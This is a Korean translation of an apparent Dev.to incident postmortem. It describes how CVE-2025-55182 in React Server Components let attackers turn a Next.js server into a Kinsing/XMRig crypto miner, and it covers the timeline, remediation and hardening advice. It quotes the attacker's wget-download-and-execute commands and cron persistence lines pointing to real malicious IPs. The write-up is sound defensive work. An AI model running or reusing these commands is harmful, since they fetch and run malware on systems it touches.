우리는 해킹당했다: CVE-2025-55182가 우리 Next.js 앱을 암호화폐 채굴기로 만든 방법

발행: (2025년 12월 8일 오후 03:05 GMT+9)
8 min read
원문: Dev.to

Source: Dev.to

TL;DR

우리 Next.js 애플리케이션은 CVE‑2025‑55182가 공개된 지 이틀 만에 침해되었습니다. React Server Components의 중요한 원격 코드 실행 취약점으로 공격자가 암호화폐 채굴 악성코드를 배포했습니다. 전체 복구는 약 15 분 걸렸습니다.

The Call That Changed Everything

오전 8:30 – Slack 알림: “관리자 패널이 다운되었습니다. 게이트웨이 오류가 곳곳에 발생합니다.”

오전 8:32 – PM2 프로세스 목록에 반복적인 충돌이 표시됨:

 0 boss-backend waiting 8450 0%

백엔드가 8,450번 충돌했습니다.

Discovery: The Smoking Gun

충돌 로그를 조사하던 중 보안 모니터가 약 2 일 동안 감지되지 않았던 고CPU 프로세스를 표시했습니다:

WARNING: High CPU processes detected: /tmp/kdevtmpfsi 352%
WARNING: High CPU processes detected: /tmp/kdevtmpfsi 352%
WARNING: High CPU processes detected: /tmp/kdevtmpfsi 352%

kdevtmpfsi는 잘 알려진 암호화폐 채굴 악성코드 서명입니다. 우리 서버가 우리 모르게 암호화폐를 채굴하는 데 사용되고 있었습니다.

The Vulnerability: CVE‑2025‑55182

DetailValue
CVE IDCVE‑2025‑55182
Affected ComponentReact Server Components (RSC)
Affected VersionsNext.js 15.x (패치 전), React 19.0‑19.2
Our VersionNext.js 15.5.0 ❌
Attack Vector네트워크, 인증 필요 없음
CVSS Score10.0 (Critical)

Why It’s So Dangerous

이 결함은 서버와 클라이언트 간 직렬화/역직렬화를 담당하는 React Server Components “Flight” 프로토콜에 존재합니다. 불안전한 역직렬화로 공격자는 악의적인 HTTP 요청을 만들어 서버에서 임의 코드를 실행할 수 있습니다.

주요 특성

  • 인증 필요 없음
  • 기본 설정에서 동작
  • 공개된 익스플로잇 존재
  • 단일 요청만으로 충분

전통적인 경계 방어(방화벽, 속도 제한, Fail2ban)로는 이 애플리케이션‑레벨 취약점을 차단할 수 없습니다.

How We Got Pwned (Timeline)

December 5 2025

오후 12:30 – 첫 번째 공격 시도

wget http://45.76.155.14/vim -O /tmp/vim
chmod +x /tmp/vim
nohup /tmp/vim > /dev/null 2>&1

공격자는 “vim”으로 위장한 악성 바이너리를 다운로드하고 실행했습니다.

오후 1:50 – 두 번째 물결(봇넷 배포)

wget -q http://194.69.203.32:81/hiddenbink/react.sh -O bins.sh
chmod 777 bins.sh
./bins.sh

오후 5:01 – 페이로드 전달(Kinsing 암호화폐 채굴기)

wget http://193.34.213.150/nuts/lc -O /tmp/config.json
wget http://193.34.213.150/nuts/x -O /tmp/fghgf

December 6 2025

  • ~자정kdevtmpfsi가 생성돼 CPU 352 %(≈3.5코어)를 사용함.
  • 오후 7:04 – 공격자가 영구적인 cron 작업을 설치함.

December 8 2025

  • 오전 5:33 – 시스템이 응답하지 않게 되고 조사 시작.

What the Attacker Actually Got

Installed Malware

  • Kinsing (/tmp/kinsing) – 드롭퍼/로더
  • Kdevtmpfsi (/tmp/kdevtmpfsi) – XMRig 기반 Monero 채굴기
  • Libsystem.so (/tmp/libsystem.so) – LD_PRELOAD 루트킷(프로세스 은폐)
  • config.json (/tmp/config.json) – 채굴 풀 설정 파일

Persistence Mechanisms

@reboot /usr/bin/.kworker react 20.193.135.188:443
* * * * * wget -q -O - http://80.64.16.241/re.sh | bash

두 번째 줄은 매분 실행돼 악성코드가 수동으로 삭제돼도 다시 복구됩니다.

What They Didn’t Get

  • 데이터 유출 없음 – CPU 도난만 발생.
  • 루트 권한 획득 실패 – 공격자는 사용자 수준 권한만 사용.
  • 횡방향 이동 없음 – 공격은 이 단일 서버에만 국한됨.

How Our Security Failed Us

Security MeasureWhy It Failed
Fail2ban무차별 대입 공격에 맞춰져 있어 코드 삽입을 막지 못함.
UFW Firewall공격이 정당한 HTTPS(포트 443)로 들어옴.
Redis Auth공격이 Redis를 목표로 하지 않았고 HTTP를 사용함.
Security Monitorkdevtmpfsi를 감지했지만 악성코드로 인식하지 못함.

근본 원인: 주변 보안에 과도하게 의존하고 애플리케이션‑레벨 보호가 부족함.

Remediation (15 Minutes)

Step 1: Kill the Malware

sudo kill -9 $(pgrep -f kdevtmpfsi)
sudo kill -9 $(pgrep -f kinsing)

Step 2: Remove Persistence

# Clean crontab
echo "*/5 * * * * /path/to/legitimate-monitor.sh" | crontab -

# Remove malware files
sudo rm -f /tmp/kinsing /tmp/kdevtmpfsi /tmp/libsystem.so /tmp/config.json

Step 3: Patch the Application

cd apps/web
npm install next@15.5.7 react@19.0.1 react-dom@19.0.1
npm run build
pm2 restart boss-frontend

Step 4: Verify

npm list next
# ✓ next@15.5.7 (patched version confirmed)

총 소요 시간: 발견부터 완전 복구까지 약 15 분.

Lessons Learned

What Went Wrong

  • 패치 지연 – CVE가 12월 3일 공개됐지만 12월 5일(2일 차) 공격당함.
  • 탐지 미비 – 보안 모니터가 악성 프로세스를 플래그하지 못함.
  • 외부 트래픽 모니터링 부재 – 채굴 풀로의 연결을 놓침.
  • 과신 – 경계 보안만으로 충분하다고 가정함.

What Went Right

  • 기존 모니터링 – PM2가 반복 충돌을 알려줌.
  • 신속한 대응 – 몇 분 안에 완전 격리 성공.
  • 피해 제한 – 자원 도난만 있었고 데이터 손실은 없음.
  • 자동화 도구 – PM2와 npm이 복구를 빠르게 진행하도록 도움.

How to Protect Yourself

Immediate Actions (Do These Now)

버전 확인

npm list next
npm list react
npm list react-dom

Next.js 15.x, 16.x 또는 React 19.0‑19.2를 사용 중이라면 취약합니다.

패치된 버전으로 업데이트

npm install next@latest react@latest react-dom@latest
npm run build
  • 보안 권고에 구독하세요.
  • CI/CD 파이프라인에 npm audit를 추가하세요.
  • Dependabot, Snyk 등 자동 알림 도구를 활성화하세요.
  • Vercel 보안 업데이트를 주시하세요.

Short‑Term Protections (This Week)

WAF 규칙 활성화
Cloudflare, AWS WAF, Vercel 등을 사용한다면 RSC 보호 규칙을 켜세요—CVE‑2025‑55182에 대한 방어 규칙이 이미 제공됩니다.

CI/CD에 의존성 스캔 추가

npm audit --audit-level=high

중대한 취약점이 발견되면 빌드를 실패하도록 설정합니다.

Long‑Term Improvements (This Month)

  • 외부 연결 모니터링 – 비정상적인 아웃바운드 트래픽을 기록·알림. 채굴 풀은 보통 알려진 IP에 연결됩니다.
  • CPU/메모리 이상 탐지 – 프로세스가 정상 사용량을 초과하면 알림을 트리거.
  • 애플리케이션‑레벨 보안 테스트 도입 – React Server Components에 대한 퍼징 및 안전한 역직렬화 검사를 포함.
  • 서드파티 라이브러리 정기 패치 – 버전 체크 자동화와 보안 패치 신속 적용을 구현.
Back to Blog

관련 글

더 보기 »

n8n을 EC2 인스턴스에 배포해보자 🚀🚀🚀

나는 자동화를 정말 좋아한다. 나는 항상 내 워크플로우에서 작업들을 자동화하는 것을 사랑했다. n8n을 우연히 발견했을 때, 솔직히 감탄했다. 갑자기 이전에 가졌던 모든 아이디어가…

프로그래밍의 미래에 대비하는 방법

당신은 혼자가 아닙니다. 작가로서 저도 당황하고 있습니다. 같은 질문을 선택한 LLM에 물어보고 활발한 토론을 할 수 있다면, 왜 이것을 읽어야 할까요?